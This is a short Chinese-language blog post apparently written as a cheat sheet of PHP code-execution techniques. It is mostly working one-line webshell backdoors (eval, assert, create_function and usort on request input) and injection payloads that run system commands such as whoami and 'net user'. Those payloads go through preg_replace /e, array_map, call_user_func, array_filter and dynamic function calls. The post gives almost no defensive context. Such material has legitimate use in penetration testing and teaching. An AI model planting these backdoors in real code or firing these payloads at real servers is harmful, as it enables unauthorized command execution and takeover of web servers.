php代码执行总结

先说一下php注释方法

用双斜杠 // 

单行注释:

 // @eval($_POST[1]);

多行注释

 /*  echo  `````;*/

 

 eval 

 eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

assert

assert($_REQUEST[cmd]); 

create_function

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

第二种
在$a 构造payload 进行代码闭合,造成任意代码执行
id=2;}phpinfo();/*

 

preg_replace

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 

 代码:

preg_replace('匹配的字符','替换匹配到的字符',‘要匹配的字符串’);

问题出在/e修饰 导致执行php代码 

 

1=/ab/e&2=system(%27net%20user%27);

 

array_map($arr,$test) 

$arr 为要执行的函数

$test 为函数内执行的命令      这里一般是个数组,会遍历数组的内容进行执行 所以传参记得以数组类型。(should be an array)

比如system 函数的执行

http://127.0.0.1/exec.php?arr=system&a[0]=whoami  

http://127.0.0.1/exec.php?arr=assert&a[0]=phpinfo()  //方便代码执行

 

 

 

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

@call_user_func(assert,$_GET['cmd']);

 

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

$cmd[0]=$_GET['cmd']; 

@call_user_func_array(assert,$cmd);

call_user_func(调用函数,执行命令)`

call_user_func_array(调用函数,执行命令)

 

array_filter()

http://127.0.0.1/exec.php?func=system&cmd[0]=whoami

 

 

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

 

动态函数执行
<?php //?a=assert&b=phpinfo() $_GET['a']($_GET['b']); ?>

 

posted @ 2019-03-03 16:07  echo_d  阅读(66)  评论(0)    收藏  举报